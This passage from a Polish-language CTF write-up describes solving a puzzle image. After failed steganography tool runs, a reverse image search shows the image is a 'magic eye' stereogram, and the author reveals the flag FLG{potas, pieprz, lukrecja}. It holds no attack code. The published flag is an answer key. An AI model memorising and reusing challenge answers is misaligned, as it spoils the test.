Otrzymany w wyniku zdekodowania plik przedstawiał… no właśnie co przedstawiał? Regularne kształty roślin sugerują, że przedstawiony obrazek przechowuje dodatkowe informacje. Jednak ani wpatrywanie się weń, ani wyodrębnienie EXIFów nie przyniosło porządanych wyników. Nie jestem zwolennikiem steganografii w zadaniach typu CTF, bowiem gracz szuka czegoś w czymś i jedyny sposób rozwiązania takich wyzwań to po prostu odgadnięcie metody wykorzystanej do ukrycia tego “czegoś” w tym “czymś”. Na szczęście są narzędzia, które automatyzują i testują wiele popularnych sztuczek. Oszczędzają w ten sposób wiele czasu. W czasie gdy obrazek przechodził testy stegoveritas
oraz stego-toolkit
postanowiłem wrzucić go w Google Image Search i wykorzystując wyszukiwanie obrazem trafiłem na poniższy wątek w portalu reddit.
Okazuje się, że taka grafika została wykorzystana do ukrycia informacji z wykorzystaniem zupełnie innych metod niż te, które rozpatrywałem. Odkrycie pozwoliło na pominięcie wątku steganografii i skupienie się na wyodrębnieniu wiadomości. Fraza, którą określono obrazek na reddicie to magic eye image. Okazuje się, że istnieje narzędzie, które próbuje znanych metod pozyskania wiadomości.
Przepis na gorszek prezentuje się nastepująco:
Podobny efekt można osiągnąć wykorzystując program graficzny Gimp, przesuwając warstwy obrazu.
Podsumowanie⌗
Flaga to FLG{potas, pieprz, lukrecja}, co brzmi jak całkiem sensowny pomysł na przepyszną potrawę ;)
Zadanie udało mi się ukończuć w stosunkowo krótkim czasie, bez dostępnych podpowiedzi, jednak było całkiem przemyślane i dużo lepsze od poprzednich. Jak pisałem wyżej, na razie odpuszczę sobie kolejne wyzwania do momentu skoku ich trudności. Czterokrotne podium mnie zadowala. Serdecznie dziękuję za zabawę :)
foxtrot_charlie over and out!